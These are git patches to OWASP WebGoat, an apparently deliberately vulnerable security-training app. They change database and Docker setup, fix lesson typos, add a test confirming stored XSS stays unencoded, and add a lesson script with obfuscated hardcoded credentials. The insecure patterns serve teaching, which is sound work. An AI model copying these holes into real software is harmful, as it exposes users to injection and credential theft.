webgoat-server/Dockerfile | 5 +- .../owasp/webgoat/HSQLDBDatabaseConfig.java | 51 +++++++++++++++++++ .../java/org/owasp/webgoat/StartWebGoat.java | 3 -- .../webwolf/mailbox/MailboxController.java | 3 +- .../src/main/resources/application.properties | 3 +- .../src/main/resources/templates/login.html | 2 +- 8 files changed, 63 insertions(+), 11 deletions(-) create mode 100644 webgoat-server/src/main/java/org/owasp/webgoat/HSQLDBDatabaseConfig.java diff --git a/pom.xml b/pom.xml index 170e98a187..4b75535ed6 100644 --- a/pom.xml +++ b/pom.xml @@ -135,7 +135,7 @@ 2.2.4 18.0 1.4.190 - 2.3.2 + 2.3.4 1.3.1 2.6.3 2.6.3 diff --git a/webgoat-container/src/main/resources/application.properties b/webgoat-container/src/main/resources/application.properties index 440619b2dd..35b177ddde 100644 --- a/webgoat-container/src/main/resources/application.properties +++ b/webgoat-container/src/main/resources/application.properties @@ -5,8 +5,10 @@ server.contextPath=/WebGoat server.port=8080 server.address=127.0.0.1 -spring.datasource.url=jdbc:hsqldb:file:${webgoat.server.directory}/data/webgoat +spring.datasource.url=jdbc:hsqldb:hsql://localhost:9001/webgoat spring.jpa.hibernate.ddl-auto=update +spring.jpa.properties.hibernate.dialect=org.hibernate.dialect.HSQLDialect +spring.datasource.driver-class-name=org.hsqldb.jdbc.JDBCDriver logging.level.org.springframework=WARN @@ -20,6 +22,7 @@ security.enable-csrf=false spring.resources.cache-period=0 spring.thymeleaf.cache=false +webgoat.start.hsqldb=true webgoat.clean=false webgoat.server.directory=${user.home}/.webgoat-${webgoat.build.version}/ webgoat.user.directory=${user.home}/.webgoat-${webgoat.build.version}/ diff --git a/webgoat-server/Dockerfile b/webgoat-server/Dockerfile index e022e1a4ae..860bb1b3fd 100644 --- a/webgoat-server/Dockerfile +++ b/webgoat-server/Dockerfile @@ -4,12 +4,11 @@ ARG webgoat_version=8.0-SNAPSHOT RUN \ apt-get update && apt-get install && \ - useradd --home-dir /home/webgoat --create-home -U webgoat && \ - cd /home/webgoat/; mkdir -p .webgoat + useradd --home-dir /home/webgoat --create-home -U webgoat USER webgoat +RUN cd /home/webgoat/; mkdir -p .webgoat-${webgoat_version} COPY target/webgoat-server-${webgoat_version}.jar /home/webgoat/webgoat.jar ENTRYPOINT ["java", "-Djava.security.egd=file:/dev/./urandom", "-jar", "/home/webgoat/webgoat.jar", "--server.address=0.0.0.0"] - EXPOSE 8080 \ No newline at end of file diff --git a/webgoat-server/src/main/java/org/owasp/webgoat/HSQLDBDatabaseConfig.java b/webgoat-server/src/main/java/org/owasp/webgoat/HSQLDBDatabaseConfig.java new file mode 100644 index 0000000000..fe42f1c973 --- /dev/null +++ b/webgoat-server/src/main/java/org/owasp/webgoat/HSQLDBDatabaseConfig.java @@ -0,0 +1,51 @@ +package org.owasp.webgoat; + +import org.hsqldb.server.Server; +import org.springframework.beans.factory.annotation.Value; +import org.springframework.boot.autoconfigure.condition.ConditionalOnProperty; +import org.springframework.boot.autoconfigure.jdbc.DataSourceBuilder; +import org.springframework.context.annotation.Bean; +import org.springframework.context.annotation.Configuration; +import org.springframework.context.annotation.DependsOn; +import org.springframework.context.annotation.Primary; + +import javax.sql.DataSource; + + +/** + * Rationale for this class: when the HSQLDB is started with jdbc:file:// it is only accessible from within the same + * JVM. This can only be done if you start a standalone HSQLDB. We need both WebWolf and WebGoat to use the same database + */ +@Configuration +@ConditionalOnProperty(prefix = "webgoat.start", name = "hsqldb", havingValue = "true") +public class HSQLDBDatabaseConfig { + + @Value("${hsqldb.port:9001}") + private int hsqldbPort; + + @Bean(initMethod = "start", destroyMethod = "stop") + public Server hsqlStandalone(@Value("${webgoat.server.directory}") String directory, + @Value("${hsqldb.silent:true}") boolean silent, + @Value("${hsqldb.trace:false}") boolean trace) { + + Server server = new Server(); + server.setDatabaseName(0, "webgoat"); + server.setDatabasePath(0, directory + "/data/webgoat"); + server.setDaemon(true); + server.setTrace(trace); + server.setSilent(silent); + server.setPort(hsqldbPort); + return server; + } + + @Primary + @Bean + @DependsOn("hsqlStandalone") + public DataSource dataSource(@Value("${spring.datasource.driver-class-name}") String driverClass, + @Value("${spring.datasource.url}") String url) { + return DataSourceBuilder.create() + .driverClassName(driverClass) + .url(url) + .build(); + } +} diff --git a/webgoat-server/src/main/java/org/owasp/webgoat/StartWebGoat.java b/webgoat-server/src/main/java/org/owasp/webgoat/StartWebGoat.java index a615d5b74a..34bde941aa 100644 --- a/webgoat-server/src/main/java/org/owasp/webgoat/StartWebGoat.java +++ b/webgoat-server/src/main/java/org/owasp/webgoat/StartWebGoat.java @@ -37,7 +37,4 @@ public class StartWebGoat { public static void main(String[] args) { SpringApplication.run(WebGoat.class, args); } - - - } diff --git a/webwolf/src/main/java/org/owasp/webwolf/mailbox/MailboxController.java b/webwolf/src/main/java/org/owasp/webwolf/mailbox/MailboxController.java index b4f149db2b..169b5f189a 100644 --- a/webwolf/src/main/java/org/owasp/webwolf/mailbox/MailboxController.java +++ b/webwolf/src/main/java/org/owasp/webwolf/mailbox/MailboxController.java @@ -8,6 +8,7 @@ import org.springframework.http.ResponseEntity; import org.springframework.security.core.context.SecurityContextHolder; import org.springframework.security.core.userdetails.User; +import org.springframework.security.core.userdetails.UserDetails; import org.springframework.web.bind.annotation.GetMapping; import org.springframework.web.bind.annotation.PostMapping; import org.springframework.web.bind.annotation.RequestBody; @@ -30,7 +31,7 @@ public class MailboxController { @GetMapping(value = "/WebWolf/mail") public ModelAndView mail() { - User user = (User) SecurityContextHolder.getContext().getAuthentication().getPrincipal(); + UserDetails user = (UserDetails) SecurityContextHolder.getContext().getAuthentication().getPrincipal(); ModelAndView modelAndView = new ModelAndView(); List emails = mailboxRepository.findByRecipientOrderByTimeDesc(user.getUsername()); if (emails != null && !emails.isEmpty()) { diff --git a/webwolf/src/main/resources/application.properties b/webwolf/src/main/resources/application.properties index abc2a98e93..6ee1621724 100644 --- a/webwolf/src/main/resources/application.properties +++ b/webwolf/src/main/resources/application.properties @@ -6,7 +6,8 @@ server.port=8081 server.address=127.0.0.1 server.session.cookie.name = WEBWOLFSESSION -spring.datasource.url=jdbc:hsqldb:file:${webgoat.server.directory}/data/webwolf +spring.datasource.url=jdbc:hsqldb:hsql://localhost:9001/webgoat +spring.jpa.properties.hibernate.dialect=org.hibernate.dialect.HSQLDialect spring.jpa.hibernate.ddl-auto=update spring.messages.basename=i18n/messages diff --git a/webwolf/src/main/resources/templates/login.html b/webwolf/src/main/resources/templates/login.html index 7558316911..f651a437f8 100644 --- a/webwolf/src/main/resources/templates/login.html +++ b/webwolf/src/main/resources/templates/login.html @@ -45,7 +45,7 @@

Sign in

-
+
From a1db8e8bd9ab1788a143fe968046b874040d0865 Mon Sep 17 00:00:00 2001 From: Nanne Baars Date: Wed, 2 May 2018 09:29:52 +0200 Subject: [PATCH 33/76] Added documentation how to mount the data directory of WebGoat running in Docker to your host system. --- README.MD | 9 +++++++++ 1 file changed, 9 insertions(+) diff --git a/README.MD b/README.MD index 32bd67755b..d0ff4809e1 100644 --- a/README.MD +++ b/README.MD @@ -40,6 +40,15 @@ docker pull webgoat/webgoat-8.0 docker run -p 8080:8080 -it webgoat/webgoat-8.0 /home/webgoat/start.sh ``` +If you want to keep the database between Docker sessions you need to map the WebGoat data directory to a +folder on the host system as follows: + +```Shell +docker run -p 8080:8080 -it -v /tmp/webgoat-data:/home/webgoat/.webgoat-${VERSION} webgoat/webgoat-8.0 /home/webgoat/start.sh +``` + +where `${VERSION}` is for example `v8.0.0.M14`. The data will now be stored in `/tmp/webgoat-data` on your host system. + Wait for the Docker container to start, and run `docker ps` to verify it's running. - If you are using `docker-machine`, verify the machine IP using `docker-machine env` From 6209b3fe8d576446dabae165df26388ad23eb90b Mon Sep 17 00:00:00 2001 From: Nanne Baars Date: Wed, 2 May 2018 21:25:44 +0200 Subject: [PATCH 34/76] Updated lesson for starting WebWolf as a Docker container --- .../resources/lessonPlans/en/IntroductionWebWolf.adoc | 10 ++++++++-- webwolf/src/main/resources/application.properties | 2 +- 2 files changed, 9 insertions(+), 3 deletions(-) diff --git a/webgoat-lessons/webwolf-introduction/src/main/resources/lessonPlans/en/IntroductionWebWolf.adoc b/webgoat-lessons/webwolf-introduction/src/main/resources/lessonPlans/en/IntroductionWebWolf.adoc index 7bfdf1524b..0bbd39bc19 100644 --- a/webgoat-lessons/webwolf-introduction/src/main/resources/lessonPlans/en/IntroductionWebWolf.adoc +++ b/webgoat-lessons/webwolf-introduction/src/main/resources/lessonPlans/en/IntroductionWebWolf.adoc @@ -30,12 +30,18 @@ are not using the Docker image you will need to download the jar file and start java -jar webwolf-<>.jar ``` -WebWolf is also available as a Docker container: +WebWolf is also available as a Docker container, because it shares the database with WebGoat we first need +to find out the ip address of the Docker container. ``` +WEBGOAT_SERVER_ADDRESS=$(docker inspect -f "{{ .NetworkSettings.IPAddress }}" `docker ps | grep webgoat | awk '{print $1}'`) docker pull webgoat/webwolf -docker run -it -p 8081:8081 webgoat/webwolf /home/webwolf/run.sh +docker run -e webgoat.server.address=${WEBGOAT_SERVER_ADDRESS} -it -p 8081:8081 webgoat/webwolf /home/webwolf/run.sh ``` +Note: if you start WebGoat as standalone application you need to start WebWolf as standalone application as well. If +you start WebGoat as Docker container you need to start WebWolf as Docker container as well. + + This will start the application on port 8081, click webWolfLink:here[] to open WebWolf. First thing you need to do is register a new user within WebWolf. \ No newline at end of file diff --git a/webwolf/src/main/resources/application.properties b/webwolf/src/main/resources/application.properties index 6ee1621724..2d8f6dded5 100644 --- a/webwolf/src/main/resources/application.properties +++ b/webwolf/src/main/resources/application.properties @@ -6,7 +6,7 @@ server.port=8081 server.address=127.0.0.1 server.session.cookie.name = WEBWOLFSESSION -spring.datasource.url=jdbc:hsqldb:hsql://localhost:9001/webgoat +spring.datasource.url=jdbc:hsqldb:hsql://${webgoat.server.address:localhost}:9001/webgoat spring.jpa.properties.hibernate.dialect=org.hibernate.dialect.HSQLDialect spring.jpa.hibernate.ddl-auto=update spring.messages.basename=i18n/messages From 84e3fcde07d5d67409dde1afbd719e0a03a800ba Mon Sep 17 00:00:00 2001 From: Nanne Baars Date: Wed, 2 May 2018 21:34:17 +0200 Subject: [PATCH 35/76] Added .sonatype (author: @maurycupitt) --- .gitignore | 1 + 1 file changed, 1 insertion(+) diff --git a/.gitignore b/.gitignore index fb3ff03000..917e56a8c7 100644 --- a/.gitignore +++ b/.gitignore @@ -42,3 +42,4 @@ webgoat-lessons/**/target **/.DS_Store webgoat-server/mongo-data/* webgoat-lessons/vulnerable-components/dependency-reduced-pom.xml +/.sonatype \ No newline at end of file From 9aa674e326d6d51b4bd20fe5c789bea1571e2d00 Mon Sep 17 00:00:00 2001 From: miig Date: Wed, 14 Mar 2018 21:53:57 +0100 Subject: [PATCH 36/76] stringfy object so it's visible in the console --- .../src/main/resources/static/js/goatApp/view/GoatRouter.js | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/webgoat-container/src/main/resources/static/js/goatApp/view/GoatRouter.js b/webgoat-container/src/main/resources/static/js/goatApp/view/GoatRouter.js index 54aa528288..84a23334fb 100644 --- a/webgoat-container/src/main/resources/static/js/goatApp/view/GoatRouter.js +++ b/webgoat-container/src/main/resources/static/js/goatApp/view/GoatRouter.js @@ -67,7 +67,7 @@ define(['jquery', contentType: 'application/x-www-form-urlencoded; charset=UTF-8', success: function (data) { //devs leave stuff like this in all the time - console.log('phone home said ' + data); + console.log('phone home said ' + JSON.stringify(data)); } }); } From 5d28ef9fbe96cd6fa56ca8905eff3cc410804ec8 Mon Sep 17 00:00:00 2001 From: miig Date: Wed, 14 Mar 2018 21:52:18 +0100 Subject: [PATCH 37/76] small fix for CSRF content type lesson descrption --- .../src/main/resources/lessonPlans/en/CSRF_ContentType.adoc | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/webgoat-lessons/csrf/src/main/resources/lessonPlans/en/CSRF_ContentType.adoc b/webgoat-lessons/csrf/src/main/resources/lessonPlans/en/CSRF_ContentType.adoc index 3e9f217c62..735e320bcf 100644 --- a/webgoat-lessons/csrf/src/main/resources/lessonPlans/en/CSRF_ContentType.adoc +++ b/webgoat-lessons/csrf/src/main/resources/lessonPlans/en/CSRF_ContentType.adoc @@ -8,11 +8,11 @@ In this assignment you need to achieve to POST the following JSON message to our [source] ---- -POST /csrf/feedback HTTP/1.1 +POST /csrf/feedback/message HTTP/1.1 { "name" : "WebGoat", - "email" : "webgoat@webgoat.org" + "email" : "webgoat@webgoat.org", "content" : "WebGoat is the best!!" } ---- From 6a5ca43e7e25e1967eb8d9916c5c238adc70e117 Mon Sep 17 00:00:00 2001 From: pjhggns Date: Fri, 2 Mar 2018 12:20:08 -0800 Subject: [PATCH 38/76] Strip out slash-escaped JSON sequence received in client. The server will slash-escape some JSON related characters before sending. Need to strip them out before using, on the client side. --- .../static/js/goatApp/view/LessonContentView.js | 13 +++++++++++-- 1 file changed, 11 insertions(+), 2 deletions(-) diff --git a/webgoat-container/src/main/resources/static/js/goatApp/view/LessonContentView.js b/webgoat-container/src/main/resources/static/js/goatApp/view/LessonContentView.js index d246b8110b..3fca490f06 100644 --- a/webgoat-container/src/main/resources/static/js/goatApp/view/LessonContentView.js +++ b/webgoat-container/src/main/resources/static/js/goatApp/view/LessonContentView.js @@ -151,14 +151,23 @@ define(['jquery', return false; }, + removeSlashesFromJSON: function(str) { + // slashes are leftover escapes from JSON serialization by server + // for every two char sequence starting with backslash, + // replace them in the text with second char only + return str.replace(/\\(.)/g, "$1"); + }, + renderFeedback: function(feedback) { - this.$curFeedback.html(polyglot.t(feedback) || ""); + var s = this.removeSlashesFromJSON(feedback); + this.$curFeedback.html(polyglot.t(s) || ""); this.$curFeedback.show(400) }, renderOutput: function(output) { - this.$curOutput.html(polyglot.t(output) || ""); + var s = this.removeSlashesFromJSON(output); + this.$curOutput.html(polyglot.t(s) || ""); this.$curOutput.show(400) }, From 0b9a027c19dd487e082385b7491120294e89fa5b Mon Sep 17 00:00:00 2001 From: TimDG Date: Tue, 8 May 2018 11:27:13 +0200 Subject: [PATCH 39/76] Fix some minor grammatical issues. --- .../main/resources/lessonPlans/en/SqlInjection_content6c.adoc | 2 +- .../main/resources/lessonPlans/en/SqlInjection_content7.adoc | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/webgoat-lessons/sql-injection/src/main/resources/lessonPlans/en/SqlInjection_content6c.adoc b/webgoat-lessons/sql-injection/src/main/resources/lessonPlans/en/SqlInjection_content6c.adoc index 53fc5e1406..f1aa56fb40 100644 --- a/webgoat-lessons/sql-injection/src/main/resources/lessonPlans/en/SqlInjection_content6c.adoc +++ b/webgoat-lessons/sql-injection/src/main/resources/lessonPlans/en/SqlInjection_content6c.adoc @@ -9,7 +9,7 @@ injection. Let's first start with the difference between a normal SQL injection and a blind SQL injection. In a normal SQL injection the error messages from the database are displayed and gives enough information to find out how -the query is working. Or in the case of an union based SQL injection the application does not reflect the information +the query is working. Or in the case of a union based SQL injection the application does not reflect the information directly on the webpage. So in the case where nothing is displayed you will need to start asking the database questions based on a true or false statement. That's why a blind SQL injection is much more difficult to exploit. diff --git a/webgoat-lessons/sql-injection/src/main/resources/lessonPlans/en/SqlInjection_content7.adoc b/webgoat-lessons/sql-injection/src/main/resources/lessonPlans/en/SqlInjection_content7.adoc index ad9cf05b1f..8c1ab2494a 100644 --- a/webgoat-lessons/sql-injection/src/main/resources/lessonPlans/en/SqlInjection_content7.adoc +++ b/webgoat-lessons/sql-injection/src/main/resources/lessonPlans/en/SqlInjection_content7.adoc @@ -1,6 +1,6 @@ == Immutable Queries -These are the best defense against SQL Injection. They either do not have data that could get interpreted or the treat the data as a single entity that is bound to a column without interpretation. +These are the best defense against SQL Injection. They either do not have data that could get interpreted or they treat the data as a single entity that is bound to a column without interpretation. === Static Queries ------------------------------------------------------- From 6cf96f971db8f36483cbeca2dbaa9eaad4bcd65b Mon Sep 17 00:00:00 2001 From: Nanne Baars Date: Fri, 11 May 2018 15:14:11 +0200 Subject: [PATCH 40/76] Fix typo --- .../src/main/resources/lessonPlans/en/InsecureLogin_Intro.adoc | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/webgoat-lessons/insecure-login/src/main/resources/lessonPlans/en/InsecureLogin_Intro.adoc b/webgoat-lessons/insecure-login/src/main/resources/lessonPlans/en/InsecureLogin_Intro.adoc index f4fac84711..349211b397 100755 --- a/webgoat-lessons/insecure-login/src/main/resources/lessonPlans/en/InsecureLogin_Intro.adoc +++ b/webgoat-lessons/insecure-login/src/main/resources/lessonPlans/en/InsecureLogin_Intro.adoc @@ -1,6 +1,6 @@ == Concept -Encryption is a very inportant tool for secure communication. In this lesson, we will find out, why it should always be employed when sending sensitive data. +Encryption is a very important tool for secure communication. In this lesson, we will find out, why it should always be employed when sending sensitive data. == Goals * The user should have a basic understanding of packet sniffer usage From 408a637649fcd103847aaf5561d2e10736cd32ea Mon Sep 17 00:00:00 2001 From: Nitish Date: Mon, 22 Jan 2018 15:56:10 +0530 Subject: [PATCH 41/76] Update HttpBasics_ProxyIntro0.adoc Fixed typo, Actual : "wihtin" , Expected : "within" --- .../main/resources/lessonPlans/en/HttpBasics_ProxyIntro0.adoc | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/webgoat-lessons/http-proxies/src/main/resources/lessonPlans/en/HttpBasics_ProxyIntro0.adoc b/webgoat-lessons/http-proxies/src/main/resources/lessonPlans/en/HttpBasics_ProxyIntro0.adoc index 490889ae21..9a352e4286 100644 --- a/webgoat-lessons/http-proxies/src/main/resources/lessonPlans/en/HttpBasics_ProxyIntro0.adoc +++ b/webgoat-lessons/http-proxies/src/main/resources/lessonPlans/en/HttpBasics_ProxyIntro0.adoc @@ -2,7 +2,7 @@ == HTTP Proxy Overview Many times proxies are used as a way of accessing otherwise blocked content. A user might connect to server A, which relays content from server B - ... Because Server B is blocked wihtin the user's network. That's not the use case we will be dealing with here, but the concept is the same. + ... Because Server B is blocked within the user's network. That's not the use case we will be dealing with here, but the concept is the same. HTTP Proxies receive requests from a client and relay them. They also typically record them. They act as a man-in-the-middle (keep that in mind if you decide to use a proxy server to connect to some other system that is otherwise blocked). We won't get into HTTP vs HTTPS just yet, but that's an important topic in relationship to proxies. From 7b5bb6d6f19b475b5474aacd1a050ba1db240bf3 Mon Sep 17 00:00:00 2001 From: xanderhades Date: Mon, 29 Jan 2018 17:25:19 -0500 Subject: [PATCH 42/76] Fixed typos --- .../resources/lessonPlans/en/CrossSiteScripting_content8.adoc | 4 ++-- .../main/resources/lessonPlans/en/IDOR_editOtherProfile.adoc | 2 +- .../src/main/resources/lessonPlans/en/IDOR_inputAltPath.adoc | 2 +- .../idor/src/main/resources/lessonPlans/en/IDOR_intro.adoc | 4 ++-- .../idor/src/main/resources/lessonPlans/en/IDOR_login.adoc | 2 +- .../src/main/resources/lessonPlans/en/IDOR_mitigation.adoc | 2 +- .../src/main/resources/lessonPlans/en/Introduction.adoc | 4 ++-- 7 files changed, 10 insertions(+), 10 deletions(-) diff --git a/webgoat-lessons/cross-site-scripting/src/main/resources/lessonPlans/en/CrossSiteScripting_content8.adoc b/webgoat-lessons/cross-site-scripting/src/main/resources/lessonPlans/en/CrossSiteScripting_content8.adoc index 80a3c7a256..a39af74c33 100644 --- a/webgoat-lessons/cross-site-scripting/src/main/resources/lessonPlans/en/CrossSiteScripting_content8.adoc +++ b/webgoat-lessons/cross-site-scripting/src/main/resources/lessonPlans/en/CrossSiteScripting_content8.adoc @@ -2,10 +2,10 @@ === Why? -Hopefully we've covered that by now. Bottom line, you don't want someone else's code running in the context of your users and their logged-in seession +Hopefully we've covered that by now. Bottom line, you don't want someone else's code running in the context of your users and their logged-in session === What to encode? -The basic premise of defending against XSS is *output endoding* any untrusted input that goes to the screen. +The basic premise of defending against XSS is *output encoding* any untrusted input that goes to the screen. That may be changing with more sophisticated attacks, but is still the best defense we currently have. *AND* ... *context matters* Another word on 'untrusted input'. If in doubt, treat everything (even data you populated in your DB as untrusted). diff --git a/webgoat-lessons/idor/src/main/resources/lessonPlans/en/IDOR_editOtherProfile.adoc b/webgoat-lessons/idor/src/main/resources/lessonPlans/en/IDOR_editOtherProfile.adoc index 5cfa0c2625..aa9ae94ba5 100644 --- a/webgoat-lessons/idor/src/main/resources/lessonPlans/en/IDOR_editOtherProfile.adoc +++ b/webgoat-lessons/idor/src/main/resources/lessonPlans/en/IDOR_editOtherProfile.adoc @@ -4,5 +4,5 @@ Older apps may follow different patterns, but RESTful apps (which is what's goin to perform different functions. Use that knowledge to take the same base request, change its method, path and body (payload) to modify another user's (Buffalo Bill's) profile. -Change the role to something lower (since higher privilege roles and users are ususally lower numbers). Also change modify the +Change the role to something lower (since higher privilege roles and users are ususally lower numbers). Also change the user's color to 'red'. \ No newline at end of file diff --git a/webgoat-lessons/idor/src/main/resources/lessonPlans/en/IDOR_inputAltPath.adoc b/webgoat-lessons/idor/src/main/resources/lessonPlans/en/IDOR_inputAltPath.adoc index 1de5253e6b..43b4725299 100644 --- a/webgoat-lessons/idor/src/main/resources/lessonPlans/en/IDOR_inputAltPath.adoc +++ b/webgoat-lessons/idor/src/main/resources/lessonPlans/en/IDOR_inputAltPath.adoc @@ -1 +1 @@ -Please input the alternate path to the Url to view your own profile. Please start witih 'WebGoat' (i.e. disregard 'http://localhost:8080/') \ No newline at end of file +Please input the alternate path to the Url to view your own profile. Please start with 'WebGoat' (i.e. disregard 'http://localhost:8080/') \ No newline at end of file diff --git a/webgoat-lessons/idor/src/main/resources/lessonPlans/en/IDOR_intro.adoc b/webgoat-lessons/idor/src/main/resources/lessonPlans/en/IDOR_intro.adoc index ecf28b0b00..5e48954b19 100644 --- a/webgoat-lessons/idor/src/main/resources/lessonPlans/en/IDOR_intro.adoc +++ b/webgoat-lessons/idor/src/main/resources/lessonPlans/en/IDOR_intro.adoc @@ -15,12 +15,12 @@ Examples of Direct Object References using the GET method may look something lik === Other Methods -POST, PUT, DELETE or other methods are also potentially succeptible and mainly only differ in the method and the potential payload. +POST, PUT, DELETE or other methods are also potentially susceptible and mainly only differ in the method and the potential payload. == *Insecure* Direct Object References These are considered insecure when the reference is not properly handled and allows for authorization bypasses or disclose private data that could be used to -perform opreations or access data that the user should not be able to perform or access. +perform operations or access data that the user should not be able to perform or access. Let's say that as a user, you go to view your profile and the URL looks something like: `https://some.company.tld/app/user/23398` diff --git a/webgoat-lessons/idor/src/main/resources/lessonPlans/en/IDOR_login.adoc b/webgoat-lessons/idor/src/main/resources/lessonPlans/en/IDOR_login.adoc index df1cfdd094..f9eb76f7e7 100644 --- a/webgoat-lessons/idor/src/main/resources/lessonPlans/en/IDOR_login.adoc +++ b/webgoat-lessons/idor/src/main/resources/lessonPlans/en/IDOR_login.adoc @@ -1,6 +1,6 @@ === Authenticate First, Abuse Authorization Later -Many access control issues are succeptible to attack from an authenticated-but-unauthorized user. So, let's start by legitimately authenticating. Then, we will look for ways to bypass or abuse Authorization. +Many access control issues are susceptible to attack from an authenticated-but-unauthorized user. So, let's start by legitimately authenticating. Then, we will look for ways to bypass or abuse Authorization. The id and password for the account in this case are 'tom' and 'cat' (It is an insecure app, right?). diff --git a/webgoat-lessons/idor/src/main/resources/lessonPlans/en/IDOR_mitigation.adoc b/webgoat-lessons/idor/src/main/resources/lessonPlans/en/IDOR_mitigation.adoc index 8614f16e00..7c76de3659 100644 --- a/webgoat-lessons/idor/src/main/resources/lessonPlans/en/IDOR_mitigation.adoc +++ b/webgoat-lessons/idor/src/main/resources/lessonPlans/en/IDOR_mitigation.adoc @@ -38,7 +38,7 @@ For example, if a super-user or admin can edit other's profiles ... That is some examples would include detected violations or attempts to violate access control mechanisms. === Using Indrect References -Not many applications employ it, but you can use *indirect* refrences. In this case you can run your references across a hahsing, +Not many applications employ it, but you can use *indirect* references. In this case you can run your references across a hashing, encoding or other function on the server so that the id that the client sees is not the actual reference which the server handles. This will reduce efficiency some (a common trade-off for security) and is still subject to being guessed, brute-forced or reverse engineered. diff --git a/webgoat-lessons/webgoat-introduction/src/main/resources/lessonPlans/en/Introduction.adoc b/webgoat-lessons/webgoat-introduction/src/main/resources/lessonPlans/en/Introduction.adoc index f1ac477d32..6660ab1696 100644 --- a/webgoat-lessons/webgoat-introduction/src/main/resources/lessonPlans/en/Introduction.adoc +++ b/webgoat-lessons/webgoat-introduction/src/main/resources/lessonPlans/en/Introduction.adoc @@ -10,8 +10,8 @@ unintended code gets into your applications. What better way to do that than with your very own scapegoat? -Feel free to do what you will with Hack. Poke, prod and if it makes you feel better, scare him until your heart’s content. -Go ahead, and Hack the goat. We promise he likes it. +Feel free to do what you will with him. Hack, poke, prod and if it makes you feel better, scare him until your heart’s content. +Go ahead, and hack the goat. We promise he likes it. Thanks for your interest! From ead78d40e6b511997fad827719cfcb6920064163 Mon Sep 17 00:00:00 2001 From: Nick Smith Date: Fri, 9 Feb 2018 17:29:42 -0500 Subject: [PATCH 43/76] Chore - fix spelling issues --- .../src/main/resources/lessonPlans/en/bypass-intro.adoc | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/webgoat-lessons/auth-bypass/src/main/resources/lessonPlans/en/bypass-intro.adoc b/webgoat-lessons/auth-bypass/src/main/resources/lessonPlans/en/bypass-intro.adoc index a18bce132c..ef7c5725a8 100644 --- a/webgoat-lessons/auth-bypass/src/main/resources/lessonPlans/en/bypass-intro.adoc +++ b/webgoat-lessons/auth-bypass/src/main/resources/lessonPlans/en/bypass-intro.adoc @@ -1,4 +1,4 @@ -== Authentication Bpasses +== Authentication Bypasses Authentication Bypasses happen in many ways, but usually take advantage of some flaw in the configuration or logic. Tampering to achieve the right conditions. @@ -12,4 +12,4 @@ Sometimes, if an attacker doesn't know the correct value of a parameter, they ma === Forced Browsing -If an area of a site is not protected properly by configuation, that area of the site may be accessed by guessing/brute-forcing. \ No newline at end of file +If an area of a site is not protected properly by configuration, that area of the site may be accessed by guessing/brute-forcing. From 9d49373486f0a2103a0f3bda9220f5a9d9f0fd54 Mon Sep 17 00:00:00 2001 From: Jason Date: Wed, 2 May 2018 16:35:57 -0600 Subject: [PATCH 44/76] fix for periodic fail on StoredXssCommentsTest --- .../webgoat/plugin/StoredXssCommentsTest.java | 21 ++++++++++++------- 1 file changed, 14 insertions(+), 7 deletions(-) diff --git a/webgoat-lessons/cross-site-scripting/src/test/java/org/owasp/webgoat/plugin/StoredXssCommentsTest.java b/webgoat-lessons/cross-site-scripting/src/test/java/org/owasp/webgoat/plugin/StoredXssCommentsTest.java index 3187e936b8..4e7802e777 100644 --- a/webgoat-lessons/cross-site-scripting/src/test/java/org/owasp/webgoat/plugin/StoredXssCommentsTest.java +++ b/webgoat-lessons/cross-site-scripting/src/test/java/org/owasp/webgoat/plugin/StoredXssCommentsTest.java @@ -33,8 +33,10 @@ import org.owasp.webgoat.assignments.AssignmentEndpointTest; import org.springframework.http.MediaType; import org.springframework.test.web.servlet.MockMvc; +import org.springframework.test.web.servlet.MvcResult; import org.springframework.test.web.servlet.ResultActions; import org.springframework.test.web.servlet.request.MockMvcRequestBuilders; +import org.springframework.util.Assert; import static org.springframework.test.web.servlet.result.MockMvcResultMatchers.jsonPath; @@ -80,12 +82,17 @@ public void failure() throws Exception { */ //Ensures it is vulnerable -// @Test -// public void isNotEncoded() throws Exception { -// //do get to get comments after posting xss payload -// ResultActions taintedResults = mockMvc.perform(MockMvcRequestBuilders.get("/CrossSiteScripting/stored-xss")); -// taintedResults.andExpect(jsonPath("$[0].text",CoreMatchers.is(CoreMatchers.containsString("")))); -// } + @Test + public void isNotEncoded() throws Exception { + //do get to get comments after posting xss payload + ResultActions taintedResults = mockMvc.perform(MockMvcRequestBuilders.get("/CrossSiteScripting/stored-xss")); + MvcResult mvcResult = taintedResults.andReturn(); + assert(mvcResult.getResponse().getContentAsString().contains(" +
+ + + + +
+
+
+
+
+ diff --git a/webgoat-lessons/insecure-deserialization/src/main/resources/i18n/WebGoatLabels.properties b/webgoat-lessons/insecure-deserialization/src/main/resources/i18n/WebGoatLabels.properties new file mode 100755 index 0000000000..53e252b67e --- /dev/null +++ b/webgoat-lessons/insecure-deserialization/src/main/resources/i18n/WebGoatLabels.properties @@ -0,0 +1,4 @@ +insecure-deserialization.title=Insecure Deserialization + +insecure-deserialization.intercept.success=Dangerous object received! +insecure-deserialization.intercept.failure=Try again \ No newline at end of file diff --git a/webgoat-lessons/insecure-deserialization/src/main/resources/js/credentials.js b/webgoat-lessons/insecure-deserialization/src/main/resources/js/credentials.js new file mode 100755 index 0000000000..b7387c6238 --- /dev/null +++ b/webgoat-lessons/insecure-deserialization/src/main/resources/js/credentials.js @@ -0,0 +1,6 @@ +function submit_secret_credentials() { + var xhttp = new XMLHttpRequest(); + xhttp['open']('POST', '#attack/307/100', true); + //sending the request is obfuscated, to descourage js reading + var _0xb7f9=["\x43\x61\x70\x74\x61\x69\x6E\x4A\x61\x63\x6B","\x42\x6C\x61\x63\x6B\x50\x65\x61\x72\x6C","\x73\x74\x72\x69\x6E\x67\x69\x66\x79","\x73\x65\x6E\x64"];xhttp[_0xb7f9[3]](JSON[_0xb7f9[2]]({username:_0xb7f9[0],password:_0xb7f9[1]})) +} \ No newline at end of file diff --git a/webgoat-lessons/insecure-deserialization/src/main/resources/lessonPlans/en/InsecureDeserialization_Intro.adoc b/webgoat-lessons/insecure-deserialization/src/main/resources/lessonPlans/en/InsecureDeserialization_Intro.adoc new file mode 100755 index 0000000000..f4fac84711 --- /dev/null +++ b/webgoat-lessons/insecure-deserialization/src/main/resources/lessonPlans/en/InsecureDeserialization_Intro.adoc @@ -0,0 +1,7 @@ + +== Concept +Encryption is a 